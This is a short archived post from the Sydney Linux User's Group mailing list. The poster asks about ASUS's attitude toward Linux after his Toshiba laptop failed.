> > > > >Erik -- --- Marek W - (2b | !2b)? - Send instant messages to your online friends http://au.messenger.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] Running Linux on ASUS laptops.
I'm looking at replacing my failed Toshiba laptop with a ASUS laptop. Just wondering what is the attitude towards Linux/Unix at the ASUS camp? Cheers, Marek Send instant messages to your online friends http://au.messenger.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
